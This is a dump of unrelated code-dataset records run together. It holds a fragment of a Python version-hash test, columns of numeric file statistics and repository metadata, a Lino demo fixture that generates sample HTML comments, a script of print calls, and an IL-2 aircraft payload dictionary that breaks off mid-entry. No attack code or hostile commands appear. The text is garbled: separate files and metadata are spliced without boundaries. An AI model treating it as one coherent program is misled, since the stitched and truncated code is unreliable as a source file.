self.assertEqual(extract_hash_from_version(full_version="2022.1.custom_master_55e4d5673a833abab638ee9837bc87a0b7c3a043"), "55e4d5673a833abab638ee9837bc87a0b7c3a043") def test_negative_extracting_version_hash(self): self.assertEqual(extract_hash_from_version(full_version="2022.1.custom_master"), None) # format from the current nightly wheel def test_extracting_version_hash_from_old_format(self): self.assertEqual(extract_hash_from_version(full_version="2022.1.0-6311-a90bb1f"), "a90bb1f")
51.354839
129
0.757747
625
4,776
5.3776
0.1344
0.059506
0.062184
0.052365
0.852425
0.837846
0.723892
0.723892
0.709313
0.649509
0
0.087348
0.139447
4,776
92
130
51.913043
0.730414
0.024079
0
0.405797
0
0
0.192399
0.134851
0
0
0
0
0.246377
1
0.246377
false
0
0.072464
0
0.333333
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
7
f07ce848ffe11817f26aa5ae147d7172d7fc19e1
22,487
py
Python
lino/modlib/comments/fixtures/demo2.py
khchine5/lino
64f7ca9c9b83459b5b9f26174e5e3c26a137459d
[ "BSD-2-Clause" ]
1
2018-01-12T14:10:11.000Z
2018-01-12T14:10:11.000Z
lino/modlib/comments/fixtures/demo2.py
khchine5/lino
64f7ca9c9b83459b5b9f26174e5e3c26a137459d
[ "BSD-2-Clause" ]
null
null
null
lino/modlib/comments/fixtures/demo2.py
khchine5/lino
64f7ca9c9b83459b5b9f26174e5e3c26a137459d
[ "BSD-2-Clause" ]
null
null
null
# Copyright 2016-2018 Rumma & Ko Ltd # License: BSD (see file COPYING for details) """ Adds some fictive comments. """ from lino.utils import Cycler from lino.api import rt, dd styled = """<h1 style="color: #5e9ca0;">Styled comment <span style="color: #2b2301;">pasted from word!</span> </h1>""" table = """<table class="editorDemoTable"><thead> <tr><td>Who</td><td>What</td><td>Done?</td></tr></thead><tbody><tr><td>Him</td><td>Bar</td><td>&nbsp;</td></tr><tr><td>Her</td><td>Foo the Bar</td><td><strong style="font-size: 17px; color: #2b2301;">x</strong></td></tr><tr><td>Them</td><td><span id="demoId">Floop the pig<br /></span></td><td>x</td></tr></tbody></table>""" lorem = """<p>Lorem ipsum<strong> dolor sit amet</strong>, consectetur adipiscing elit. Nunc cursus felis nisi, eu pellentesque lorem lobortis non. Aenean non sodales neque, vitae venenatis lectus. In eros dui, gravida et dolor at, pellentesque hendrerit magna. Quisque vel lectus dictum, rhoncus massa feugiat, condimentum sem. Donec elit nisl, placerat vitae imperdiet eget, hendrerit nec quam. Ut elementum ligula vitae odio efficitur rhoncus. Duis in blandit neque. Sed dictum mollis volutpat. Morbi at est et nisi euismod viverra. Nulla quis lacus vitae ante sollicitudin tincidunt. Donec nec enim in leo vulputate ultrices. Suspendisse potenti. Ut elit nibh, porta ut enim ac, convallis molestie risus. Praesent consectetur lacus lacus, in faucibus justo fringilla vel.</p> <p>Donec fermentum enim et maximus vestibulum. Sed mollis lacus quis dictum fermentum. Maecenas libero tellus, hendrerit cursus pretium et, hendrerit quis lectus. Nunc bibendum nunc nunc, ac commodo sem interdum ut. Quisque vitae turpis lectus. Nullam efficitur scelerisque hendrerit. Fusce feugiat ullamcorper nulla. Suspendisse quis placerat ligula. Etiam ullamcorper elementum consectetur. Aenean et diam ullamcorper, posuere turpis eget, egestas nibh. Quisque condimentum arcu ac metus sodales placerat. Quisque placerat, quam nec tincidunt pharetra, urna justo scelerisque urna, et vulputate ipsum lacus at ligula.</p>""" short_lorem = """<p>Lorem ipsum <strong> dolor sit amet</strong>, consectetur adipiscing elit. Donec interdum dictum erat. Fusce condimentum erat a pulvinar ultricies.</p> <p>Phasellus gravida ullamcorper eros, sit amet blandit sapien laoreet quis.</p> <p>Donec accumsan mauris at risus lobortis, nec pretium tortor aliquam. Nulla vel enim vel eros venenatis congue.</p>""" #breaking = u'<p><!--[if gte mso 9]><xml>\n <o:OfficeDocumentSettings>\n <o:AllowPNG/>\n </o:OfficeDocumentSettings>\n</xml><![endif]--></p>\n<p><!--[if gte mso 9]><xml>\n <w:WordDocument>\n <w:View>Normal</w:View>\n <w:Zoom>0</w:Zoom>\n <w:TrackMoves/>\n <w:TrackFormatting/>\n <w:HyphenationZone>21</w:HyphenationZone>\n <w:PunctuationKerning/>\n <w:ValidateAgainstSchemas/>\n <w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid>\n <w:IgnoreMixedContent>false</w:IgnoreMixedContent>\n <w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText>\n <w:DoNotPromoteQF/>\n <w:LidThemeOther>FR-BE</w:LidThemeOther>\n <w:LidThemeAsian>X-NONE</w:LidThemeAsian>\n <w:LidThemeComplexScript>X-NONE</w:LidThemeComplexScript>\n <w:Compatibility>\n <w:BreakWrappedTables/>\n <w:SnapToGridInCell/>\n <w:WrapTextWithPunct/>\n <w:UseAsianBreakRules/>\n <w:DontGrowAutofit/>\n <w:SplitPgBreakAndParaMark/>\n <w:EnableOpenTypeKerning/>\n <w:DontFlipMirrorIndents/>\n <w:OverrideTableStyleHps/>\n </w:Compatibility>\n <m:mathPr>\n <m:mathFont m:val="Cambria Math"/>\n <m:brkBin m:val="before"/>\n <m:brkBinSub m:val="&#45;-"/>\n <m:smallFrac m:val="off"/>\n <m:dispDef/>\n <m:lMargin m:val="0"/>\n <m:rMargin m:val="0"/>\n <m:defJc m:val="centerGroup"/>\n <m:wrapIndent m:val="1440"/>\n <m:intLim m:val="subSup"/>\n <m:naryLim m:val="undOvr"/>\n </m:mathPr></w:WordDocument>\n</xml><![endif]--><!--[if gte mso 9]><xml>\n <w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="true"\n DefSemiHidden="true" DefQFormat="false" DefPriority="99"\n LatentStyleCount="267">\n <w:LsdException Locked="false" Priority="0" SemiHidden="false"\n UnhideWhenUsed="false" QFormat="true" Name="Normal"/>\n <w:LsdException Locked="false" Priority="9" SemiHidden="false"\n UnhideWhenUsed="false" QFormat="true" Name="heading 1"/>\n <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 2"/>\n <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 3"/>\n <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 4"/>\n <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 5"/>\n <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 6"/>\n <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 7"/>\n <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 8"/>\n <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 9"/>\n <w:LsdException Locked="false" Priority="39" Name="toc 1"/>\n <w:LsdException Locked="false" Priority="39" Name="toc 2"/>\n <w:LsdException Locked="false" Priority="39" Name="toc 3"/>\n <w:LsdException Locked="false" Priority="39" Name="toc 4"/>\n <w:LsdException Locked="false" Priority="39" Name="toc 5"/>\n <w:LsdException Locked="false" Priority="39" Name="toc 6"/>\n <w:LsdException Locked="false" Priority="39" Name="toc 7"/>\n <w:LsdException Locked="false" Priority="39" Name="toc 8"/>\n <w:LsdException Locked="false" Priority="39" Name="toc 9"/>\n <w:LsdException Locked="false" Priority="35" QFormat="true" Name="caption"/>\n <w:LsdException Locked="false" Priority="10" SemiHidden="false"\n UnhideWhenUsed="false" QFormat="true" Name="Title"/>\n <w:LsdException Locked="false" Priority="1" Name="Default Paragraph Font"/>\n <w:LsdException Locked="false" Priority="11" SemiHidden="false"\n UnhideWhenUsed="false" QFormat="true" Name="Subtitle"/>\n <w:LsdException Locked="false" Priority="22" SemiHidden="false"\n UnhideWhenUsed="false" QFormat="true" Name="Strong"/>\n <w:LsdException Locked="false" Priority="20" SemiHidden="false"\n UnhideWhenUsed="false" QFormat="true" Name="Emphasis"/>\n <w:LsdException Locked="false" Priority="59" SemiHidden="false"\n UnhideWhenUsed="false" Name="Table Grid"/>\n <w:LsdException Locked="false" UnhideWhenUsed="false" Name="Placeholder Text"/>\n <w:LsdException Locked="false" Priority="1" SemiHidden="false"\n UnhideWhenUsed="false" QFormat="true" Name="No Spacing"/>\n <w:LsdException Locked="false" Priority="60" SemiHidden="false"\n UnhideWhenUsed="false" Name="Light Shading"/>\n <w:LsdException Locked="false" Priority="61" SemiHidden="false"\n UnhideWhenUsed="false" Name="Light List"/>\n <w:LsdException Locked="false" Priority="62" SemiHidden="false"\n UnhideWhenUsed="false" Name="Light Grid"/>\n <w:LsdException Locked="false" Priority="63" SemiHidden="false"\n UnhideWhenUsed="false" Name="Medium Shading 1"/>\n <w:LsdException Locked="false" Priority="64" SemiHidden="false"\n UnhideWhenUsed="false" Name="Medium Shading 2"/>\n <w:LsdException Locked="false" Priority="65" SemiHidden="false"\n UnhideWhenUsed="false" Name="Medium List 1"/>\n <w:LsdException Locked="false" Priority="66" SemiHidden="false"\n UnhideWhenUsed="false" Name="Medium List 2"/>\n <w:LsdException Locked="false" Priority="67" SemiHidden="false"\n UnhideWhenUsed="false" Name="Medium Grid 1"/>\n <w:LsdException Locked="false" Priority="68" SemiHidden="false"\n UnhideWhenUsed="false" Name="Medium Grid 2"/>\n <w:LsdException Locked="false" Priority="69" SemiHidden="false"\n UnhideWhenUsed="false" Name="Medium Grid 3"/>\n <w:LsdException Locked="false" Priority="70" SemiHidden="false"\n UnhideWhenUsed="false" Name="Dark List"/>\n <w:LsdException Locked="false" Priority="71" SemiHidden="false"\n UnhideWhenUsed="false" Name="Colorful Shading"/>\n <w:LsdException Locked="false" Priority="72" SemiHidden="false"\n UnhideWhenUsed="false" Name="Colorful List"/>\n <w:LsdException Locked="false" Priority="73" SemiHidden="false"\n UnhideWhenUsed="false" Name="Colorful Grid"/>\n <w:LsdException Locked="false" Priority="60" SemiHidden="false"\n UnhideWhenUsed="false" Name="Light Shading Accent 1"/>\n <w:LsdException Locked="false" Priority="61" SemiHidden="false"\n UnhideWhenUsed="false" Name="Light List Accent 1"/>\n <w:LsdException Locked="false" Priority="62" SemiHidden="false"\n UnhideWhenUsed="false" Name="Light Grid Accent 1"/>\n <w:LsdException Locked="false" Priority="63" SemiHidden="false"\n UnhideWhenUsed="false" Name="Medium Shading 1 Accent 1"/>\n <w:LsdException Locked="false" Priority="64" SemiHidden="false"\n UnhideWhenUsed="false" Name="Medium Shading 2 Accent 1"/>\n <w:LsdException Locked="false" Priority="65" SemiHidden="false"\n UnhideWhenUsed="false" Name="Medium List 1 Accent 1"/>\n <w:LsdException Locked="false" UnhideWhenUsed="false" Name="Revision"/>\n <w:LsdException Locked="false" Priority="34" SemiHidden="false"\n UnhideWhenUsed="false" QFormat="true" Name="List Paragraph"/>\n <w:LsdException Locked="false" Priority="29" SemiHidden="false"\n UnhideWhenUsed="false" QFormat="true" Name="Quote"/>\n <w:LsdException Locked="false" Priority="30" SemiHidden="false"\n UnhideWhenUsed="false" QFormat="true" Name="Intense Quote"/>\n <w:LsdException Locked="false" Priority="66" SemiHidden="false"\n UnhideWhenUsed="false" Name="Medium List 2 Accent 1"/>\n <w:LsdException Locked="false" Priority="67" SemiHidden="false"\n UnhideWhenUsed="false" Name="Medium Grid 1 Accent 1"/>\n <w:LsdException Locked="false" Priority="68" SemiHidden="false"\n UnhideWhenUsed="false" Name="Medium Grid 2 Accent 1"/>\n <w:LsdException Locked="false" Priority="69" SemiHidden="false"\n UnhideWhenUsed="false" Name="Medium Grid 3 Accent 1"/>\n <w:LsdException Locked="false" Priority="70" SemiHidden="false"\n UnhideWhenUsed="false" Name="Dark List Accent 1"/>\n <w:LsdException Locked="false" Priority="71" SemiHidden="false"\n UnhideWhenUsed="false" Name="Colorful Shading Accent 1"/>\n <w:LsdException Locked="false" Priority="72" SemiHidden="false"\n UnhideWhenUsed="false" Name="Colorful List Accent 1"/>\n <w:LsdException Locked="false" Priority="73" SemiHidden="false"\n UnhideWhenUsed="false" Name="Colorful Grid Accent 1"/>\n <w:LsdException Locked="false" Priority="60" SemiHidden="false"\n UnhideWhenUsed="false" Name="Light Shading Accent 2"/>\n <w:LsdException Locked="false" Priority="61" SemiHidden="false"\n UnhideWhenUsed="false" Name="Light List Accent 2"/>\n <w:LsdException Locked="false" Priority="62" SemiHidden="false"\n UnhideWhenUsed="false" Name="Light Grid Accent 2"/>\n <w:LsdException Locked="false" Priority="63" SemiHidden="false"\n UnhideWhenUsed="false" Name="Medium Shading 1 Accent 2"/>\n <w:LsdException Locked="false" Priority="64" SemiHidden="false"\n UnhideWhenUsed="false" Name="Medium Shading 2 Accent 2"/>\n <w:LsdException Locked="false" Priority="65" SemiHidden="false"\n UnhideWhenUsed="false" Name="Medium List 1 Accent 2"/>\n <w:LsdException Locked="false" Priority="66" SemiHidden="false"\n UnhideWhenUsed="false" Name="Medium List 2 Accent 2"/>\n <w:LsdException Locked="false" Priority="67" SemiHidden="false"\n UnhideWhenUsed="false" Name="Medium Grid 1 Accent 2"/>\n <w:LsdException Locked="false" Priority="68" SemiHidden="false"\n UnhideWhenUsed="false" Name="Medium Grid 2 Accent 2"/>\n <w:LsdException Locked="false" Priority="69" SemiHidden="false"\n UnhideWhenUsed="false" Name="Medium Grid 3 Accent 2"/>\n <w:LsdException Locked="false" Priority="70" SemiHidden="false"\n UnhideWhenUsed="false" Name="Dark List Accent 2"/>\n <w:LsdException Locked="false" Priority="71" SemiHidden="false"\n UnhideWhenUsed="false" Name="Colorful Shading Accent 2"/>\n <w:LsdException Locked="false" Priority="72" SemiHidden="false"\n UnhideWhenUsed="false" Name="Colorful List Accent 2"/>\n <w:LsdException Locked="false" Priority="73" SemiHidden="false"\n UnhideWhenUsed="false" Name="Colorful Grid Accent 2"/>\n <w:LsdException Locked="false" Priority="60" SemiHidden="false"\n UnhideWhenUsed="false" Name="Light Shading Accent 3"/>\n <w:LsdException Locked="false" Priority="61" SemiHidden="false"\n UnhideWhenUsed="false" Name="Light List Accent 3"/>\n <w:LsdException Locked="false" Priority="62" SemiHidden="false"\n UnhideWhenUsed="false" Name="Light Grid Accent 3"/>\n <w:LsdException Locked="false" Priority="63" SemiHidden="false"\n UnhideWhenUsed="false" Name="Medium Shading 1 Accent 3"/>\n <w:LsdException Locked="false" Priority="64" SemiHidden="false"\n UnhideWhenUsed="false" Name="Medium Shading 2 Accent 3"/>\n <w:LsdException Locked="false" Priority="65" SemiHidden="false"\n UnhideWhenUsed="false" Name="Medium List 1 Accent 3"/>\n <w:LsdException Locked="false" Priority="66" SemiHidden="false"\n UnhideWhenUsed="false" Name="Medium List 2 Accent 3"/>\n <w:LsdException Locked="false" Priority="67" SemiHidden="false"\n UnhideWhenUsed="false" Name="Medium Grid 1 Accent 3"/>\n <w:LsdException Locked="false" Priority="68" SemiHidden="false"\n UnhideWhenUsed="false" Name="Medium Grid 2 Accent 3"/>\n <w:LsdException Locked="false" Priority="69" SemiHidden="false"\n UnhideWhenUsed="false" Name="Medium Grid 3 Accent 3"/>\n <w:LsdException Locked="false" Priority="70" SemiHidden="false"\n UnhideWhenUsed="false" Name="Dark List Accent 3"/>\n <w:LsdException Locked="false" Priority="71" SemiHidden="false"\n UnhideWhenUsed="false" Name="Colorful Shading Accent 3"/>\n <w:LsdException Locked="false" Priority="72" SemiHidden="false"\n UnhideWhenUsed="false" Name="Colorful List Accent 3"/>\n <w:LsdException Locked="false" Priority="73" SemiHidden="false"\n UnhideWhenUsed="false" Name="Colorful Grid Accent 3"/>\n <w:LsdException Locked="false" Priority="60" SemiHidden="false"\n UnhideWhenUsed="false" Name="Light Shading Accent 4"/>\n <w:LsdException Locked="false" Priority="61" SemiHidden="false"\n UnhideWhenUsed="false" Name="Light List Accent 4"/>\n <w:LsdException Locked="false" Priority="62" SemiHidden="false"\n UnhideWhenUsed="false" Name="Light Grid Accent 4"/>\n <w:LsdException Locked="false" Priority="63" SemiHidden="false"\n UnhideWhenUsed="false" Name="Medium Shading 1 Accent 4"/>\n <w:LsdException Locked="false" Priority="64" SemiHidden="false"\n UnhideWhenUsed="false" Name="Medium Shading 2 Accent 4"/>\n <w:LsdException Locked="false" Priority="65" SemiHidden="false"\n UnhideWhenUsed="false" Name="Medium List 1 Accent 4"/>\n <w:LsdException Locked="false" Priority="66" SemiHidden="false"\n UnhideWhenUsed="false" Name="Medium List 2 Accent 4"/>\n <w:LsdException Locked="false" Priority="67" SemiHidden="false"\n UnhideWhenUsed="false" Name="Medium Grid 1 Accent 4"/>\n <w:LsdException Locked="false" Priority="68" SemiHidden="false"\n UnhideWhenUsed="false" Name="Medium Grid 2 Accent 4"/>\n <w:LsdException Locked="false" Priority="69" SemiHidden="false"\n UnhideWhenUsed="false" Name="Medium Grid 3 Accent 4"/>\n <w:LsdException Locked="false" Priority="70" SemiHidden="false"\n UnhideWhenUsed="false" Name="Dark List Accent 4"/>\n <w:LsdException Locked="false" Priority="71" SemiHidden="false"\n UnhideWhenUsed="false" Name="Colorful Shading Accent 4"/>\n <w:LsdException Locked="false" Priority="72" SemiHidden="false"\n UnhideWhenUsed="false" Name="Colorful List Accent 4"/>\n <w:LsdException Locked="false" Priority="73" SemiHidden="false"\n UnhideWhenUsed="false" Name="Colorful Grid Accent 4"/>\n <w:LsdException Locked="false" Priority="60" SemiHidden="false"\n UnhideWhenUsed="false" Name="Light Shading Accent 5"/>\n <w:LsdException Locked="false" Priority="61" SemiHidden="false"\n UnhideWhenUsed="false" Name="Light List Accent 5"/>\n <w:LsdException Locked="false" Priority="62" SemiHidden="false"\n UnhideWhenUsed="false" Name="Light Grid Accent 5"/>\n <w:LsdException Locked="false" Priority="63" SemiHidden="false"\n UnhideWhenUsed="false" Name="Medium Shading 1 Accent 5"/>\n <w:LsdException Locked="false" Priority="64" SemiHidden="false"\n UnhideWhenUsed="false" Name="Medium Shading 2 Accent 5"/>\n <w:LsdException Locked="false" Priority="65" SemiHidden="false"\n UnhideWhenUsed="false" Name="Medium List 1 Accent 5"/>\n <w:LsdException Locked="false" Priority="66" SemiHidden="false"\n UnhideWhenUsed="false" Name="Medium List 2 Accent 5"/>\n <w:LsdException Locked="false" Priority="67" SemiHidden="false"\n UnhideWhenUsed="false" Name="Medium Grid 1 Accent 5"/>\n <w:LsdException Locked="false" Priority="68" SemiHidden="false"\n UnhideWhenUsed="false" Name="Medium Grid 2 Accent 5"/>\n <w:LsdException Locked="false" Priority="69" SemiHidden="false"\n UnhideWhenUsed="false" Name="Medium Grid 3 Accent 5"/>\n <w:LsdException Locked="false" Priority="70" SemiHidden="false"\n UnhideWhenUsed="false" Name="Dark List Accent 5"/>\n <w:LsdException Locked="false" Priority="71" SemiHidden="false"\n UnhideWhenUsed="false" Name="Colorful Shading Accent 5"/>\n <w:LsdException Locked="false" Priority="72" SemiHidden="false"\n UnhideWhenUsed="false" Name="Colorful List Accent 5"/>\n <w:LsdException Locked="false" Priority="73" SemiHidden="false"\n UnhideWhenUsed="false" Name="Colorful Grid Accent 5"/>\n <w:LsdException Locked="false" Priority="60" SemiHidden="false"\n UnhideWhenUsed="false" Name="Light Shading Accent 6"/>\n <w:LsdException Locked="false" Priority="61" SemiHidden="false"\n UnhideWhenUsed="false" Name="Light List Accent 6"/>\n <w:LsdException Locked="false" Priority="62" SemiHidden="false"\n UnhideWhenUsed="false" Name="Light Grid Accent 6"/>\n <w:LsdException Locked="false" Priority="63" SemiHidden="false"\n UnhideWhenUsed="false" Name="Medium Shading 1 Accent 6"/>\n <w:LsdException Locked="false" Priority="64" SemiHidden="false"\n UnhideWhenUsed="false" Name="Medium Shading 2 Accent 6"/>\n <w:LsdException Locked="false" Priority="65" SemiHidden="false"\n UnhideWhenUsed="false" Name="Medium List 1 Accent 6"/>\n <w:LsdException Locked="false" Priority="66" SemiHidden="false"\n UnhideWhenUsed="false" Name="Medium List 2 Accent 6"/>\n <w:LsdException Locked="false" Priority="67" SemiHidden="false"\n UnhideWhenUsed="false" Name="Medium Grid 1 Accent 6"/>\n <w:LsdException Locked="false" Priority="68" SemiHidden="false"\n UnhideWhenUsed="false" Name="Medium Grid 2 Accent 6"/>\n <w:LsdException Locked="false" Priority="69" SemiHidden="false"\n UnhideWhenUsed="false" Name="Medium Grid 3 Accent 6"/>\n <w:LsdException Locked="false" Priority="70" SemiHidden="false"\n UnhideWhenUsed="false" Name="Dark List Accent 6"/>\n <w:LsdException Locked="false" Priority="71" SemiHidden="false"\n UnhideWhenUsed="false" Name="Colorful Shading Accent 6"/>\n <w:LsdException Locked="false" Priority="72" SemiHidden="false"\n UnhideWhenUsed="false" Name="Colorful List Accent 6"/>\n <w:LsdException Locked="false" Priority="73" SemiHidden="false"\n UnhideWhenUsed="false" Name="Colorful Grid Accent 6"/>\n <w:LsdException Locked="false" Priority="19" SemiHidden="false"\n UnhideWhenUsed="false" QFormat="true" Name="Subtle Emphasis"/>\n <w:LsdException Locked="false" Priority="21" SemiHidden="false"\n UnhideWhenUsed="false" QFormat="true" Name="Intense Emphasis"/>\n <w:LsdException Locked="false" Priority="31" SemiHidden="false"\n UnhideWhenUsed="false" QFormat="true" Name="Subtle Reference"/>\n <w:LsdException Locked="false" Priority="32" SemiHidden="false"\n UnhideWhenUsed="false" QFormat="true" Name="Intense Reference"/>\n <w:LsdException Locked="false" Priority="33" SemiHidden="false"\n UnhideWhenUsed="false" QFormat="true" Name="Book Title"/>\n <w:LsdException Locked="false" Priority="37" Name="Bibliography"/>\n <w:LsdException Locked="false" Priority="39" QFormat="true" Name="TOC Heading"/>\n </w:LatentStyles>\n</xml><![endif]--><!--[if gte mso 10]>\n<style>\n /* Style Definitions */\n table.MsoNormalTable\n\t{mso-style-name:"Tableau Normal";\n\tmso-tstyle-rowband-size:0;\n\tmso-tstyle-colband-size:0;\n\tmso-style-noshow:yes;\n\tmso-style-priority:99;\n\tmso-style-parent:"";\n\tmso-padding-alt:0cm 5.4pt 0cm 5.4pt;\n\tmso-para-margin:0cm;\n\tmso-para-margin-bottom:.0001pt;\n\tmso-pagination:widow-orphan;\n\tfont-size:10.0pt;\n\tfont-family:"Times New Roman","serif";}\n</style>\n<![endif]--></p>\n<p class="MsoNormal" style="mso-outline-level: 1;"><strong><span style="font-size: 11.0pt; font-family: \'Calibri\',\'sans-serif\'; mso-ansi-language: FR;" lang="FR">De&nbsp;:</span></strong><span style="font-size: 11.0pt; font-family: \'Calibri\',\'sans-serif\'; mso-ansi-language: FR;" lang="FR"> <a href="mailto:lino@foo.net">lino@foo.net</a> [<a href="mailto:foo@bar.com">mailto:foo@bar.com</a>] <br /> <strong>Envoy&eacute;&nbsp;:</strong> mardi 18 octobre 2016 08:52<br /> <strong>&Agrave;&nbsp;:</strong> <a href="mailto:Far@baz.net">eexample@foo.com</a><br /> <strong>Objet&nbsp;:</strong> [welcht] YOU modified FOO BAR</span></p>\n<p class="MsoNormal">&nbsp;</p>\n<p>Dear Aur&eacute;lie ,</p>\n<p>this is to notify / BAR</p>\n<p>BAR modified </p>\n<p>TODO: include a summary of the modifications.</p>\n<p>Any subsequent notifications about foo/ until you view this notification in the Lino web interface. Please visit</p>\n<p class="MsoNormal"><a href="None">None</a></p>\n<p>and follow your welcome messages.</p>' cond_comment = '<p><!--[if gte foo 123]>A conditional comment<![endif]--></p>\n<p>Hello</p>' plain1 = "Some plain text." plain2 = "Two paragraphs of plain text.\n\nThe second paragraph." def objects(): TXT = Cycler([styled, table, lorem, short_lorem, cond_comment, plain1, plain2]) if not dd.is_installed('tickets'): return OWNERS = Cycler(rt.models.tickets.Ticket.objects.all()) if len(OWNERS) == 0: return Comment = rt.models.comments.Comment User = rt.models.users.User for i in range(2): for u in User.objects.all(): owner = OWNERS.pop() if owner.private: txt = "<p>Very confidential comment</p>" else: txt = TXT.pop()# txt = "Hackerish comment" obj = Comment( user=u, owner=owner, body=txt) obj.before_ui_save(None) yield obj
478.446809
19,107
0.721172
3,195
22,487
5.073552
0.141471
0.020358
0.118322
0.169031
0.732326
0.728316
0.709809
0.677483
0.640345
0.593091
0
0.024746
0.10326
22,487
46
19,108
488.847826
0.779122
0.855517
0
0.058824
0
0.205882
0.739184
0.093634
0
0
0
0.021739
0
1
0.029412
false
0
0.058824
0
0.147059
0
0
0
0
null
0
0
1
0
1
1
0
0
0
0
0
0
0
0
1
1
0
1
0
0
0
1
1
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
9
650d16c0b77cca5ec2fb0ea0004cb37b08cc77c3
91
py
Python
bin/vim/screen-automation/python_test.py
honzatomek/BASH
4b4e73f29b0ebed0d6152b96d6c362f80007dd7a
[ "MIT" ]
null
null
null
bin/vim/screen-automation/python_test.py
honzatomek/BASH
4b4e73f29b0ebed0d6152b96d6c362f80007dd7a
[ "MIT" ]
null
null
null
bin/vim/screen-automation/python_test.py
honzatomek/BASH
4b4e73f29b0ebed0d6152b96d6c362f80007dd7a
[ "MIT" ]
null
null
null
print('Hello') print('World') print('Hello') print('World') print('Hello') print('World')
11.375
14
0.659341
12
91
5
0.25
0.5
0.75
1
1
1
1
1
0
0
0
0
0.076923
91
7
15
13
0.714286
0
0
1
0
0
0.333333
0
0
0
0
0
0
1
0
true
0
0
0
0
1
1
0
0
null
1
1
1
1
1
1
1
0
0
0
0
0
0
1
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
1
0
12
335d86c8fdd27f2fffa17c9f3850e9707d48d1eb
148,258
py
Python
src/stats/aircraft_payloads.py
FGlazov/il2_stats
fb91754e8319c645c875ef3c98c8ec5a3aa01fc2
[ "MIT" ]
null
null
null
src/stats/aircraft_payloads.py
FGlazov/il2_stats
fb91754e8319c645c875ef3c98c8ec5a3aa01fc2
[ "MIT" ]
null
null
null
src/stats/aircraft_payloads.py
FGlazov/il2_stats
fb91754e8319c645c875ef3c98c8ec5a3aa01fc2
[ "MIT" ]
null
null
null
import functools from django.utils.translation import pgettext_lazy @functools.lru_cache(maxsize=1024) def get_aircraft_payload(aircraft, payload_id): try: return aircraft_payloads[aircraft][payload_id] except KeyError: return None aircraft_payloads = { 'a-20b': { 0: pgettext_lazy('aircraft_payload', 'M2.50 AP [400]'), 1: pgettext_lazy('aircraft_payload', 'M2.50 AP [400], FAB-100M [8]'), 2: pgettext_lazy('aircraft_payload', 'M2.50 AP [400], FAB-100M [16]'), 3: pgettext_lazy('aircraft_payload', 'M2.50 AP [400], FAB-100M [20]'), 4: pgettext_lazy('aircraft_payload', 'M2.50 AP [400], FAB-250tsk [4]'), 5: pgettext_lazy('aircraft_payload', 'M2.50 AP [400], FAB-100M [8], FAB-250tsk [4]'), 6: pgettext_lazy('aircraft_payload', 'Empty'), 7: pgettext_lazy('aircraft_payload', 'White Smoke [1]'), 8: pgettext_lazy('aircraft_payload', 'White Smoke [2]'), 9: pgettext_lazy('aircraft_payload', 'Blue Smoke [1]'), 10: pgettext_lazy('aircraft_payload', 'Blue Smoke [2]'), 11: pgettext_lazy('aircraft_payload', 'Red Smoke [1]'), 12: pgettext_lazy('aircraft_payload', 'Red Smoke [2]'), 13: pgettext_lazy('aircraft_payload', 'Green Smoke [1]'), 14: pgettext_lazy('aircraft_payload', 'Green Smoke [2]'), 15: pgettext_lazy('aircraft_payload', 'Yellow Smoke [1]'), 16: pgettext_lazy('aircraft_payload', 'Yellow Smoke [2]'), 17: pgettext_lazy('aircraft_payload', 'Black Smoke [1]'), 18: pgettext_lazy('aircraft_payload', 'Black Smoke [2]'), }, 'albatros d.va': { 0: pgettext_lazy('aircraft_payload', 'LMG 08/15 AP [1000]'), 1: pgettext_lazy('aircraft_payload', 'LMG 08/15 AP [500]'), 2: pgettext_lazy('aircraft_payload', 'LMG 08/15 AP [1000], Lewis gun AP [291]'), 3: pgettext_lazy('aircraft_payload', 'Empty'), 4: pgettext_lazy('aircraft_payload', 'White Smoke [1]'), 5: pgettext_lazy('aircraft_payload', 'White Smoke [2]'), 6: pgettext_lazy('aircraft_payload', 'Blue Smoke [1]'), 7: pgettext_lazy('aircraft_payload', 'Blue Smoke [2]'), 8: pgettext_lazy('aircraft_payload', 'Red Smoke [1]'), 9: pgettext_lazy('aircraft_payload', 'Red Smoke [2]'), 10: pgettext_lazy('aircraft_payload', 'Green Smoke [1]'), 11: pgettext_lazy('aircraft_payload', 'Green Smoke [2]'), 12: pgettext_lazy('aircraft_payload', 'Yellow Smoke [1]'), 13: pgettext_lazy('aircraft_payload', 'Yellow Smoke [2]'), 14: pgettext_lazy('aircraft_payload', 'Black Smoke [1]'), 15: pgettext_lazy('aircraft_payload', 'Black Smoke [2]'), }, 'b-25d': { 0: pgettext_lazy('aircraft_payload', 'M2.50 AP [400]'), 1: pgettext_lazy('aircraft_payload', 'M2.50 AP [400], 500 lb GP [8]'), 2: pgettext_lazy('aircraft_payload', 'M2.50 AP [400], 1000 lb MC [4]'), 3: pgettext_lazy('aircraft_payload', 'M2.50 AP [400], 1000 lb MC [2], 500 lb GP [4]'), 4: pgettext_lazy('aircraft_payload', 'Empty'), 5: pgettext_lazy('aircraft_payload', 'White Smoke [1]'), 6: pgettext_lazy('aircraft_payload', 'White Smoke [2]'), 7: pgettext_lazy('aircraft_payload', 'Blue Smoke [1]'), 8: pgettext_lazy('aircraft_payload', 'Blue Smoke [2]'), 9: pgettext_lazy('aircraft_payload', 'Red Smoke [1]'), 10: pgettext_lazy('aircraft_payload', 'Red Smoke [2]'), 11: pgettext_lazy('aircraft_payload', 'Green Smoke [1]'), 12: pgettext_lazy('aircraft_payload', 'Green Smoke [2]'), 13: pgettext_lazy('aircraft_payload', 'Yellow Smoke [1]'), 14: pgettext_lazy('aircraft_payload', 'Yellow Smoke [2]'), 15: pgettext_lazy('aircraft_payload', 'Black Smoke [1]'), 16: pgettext_lazy('aircraft_payload', 'Black Smoke [2]'), }, 'b-25d (raf)': { 0: pgettext_lazy('aircraft_payload', 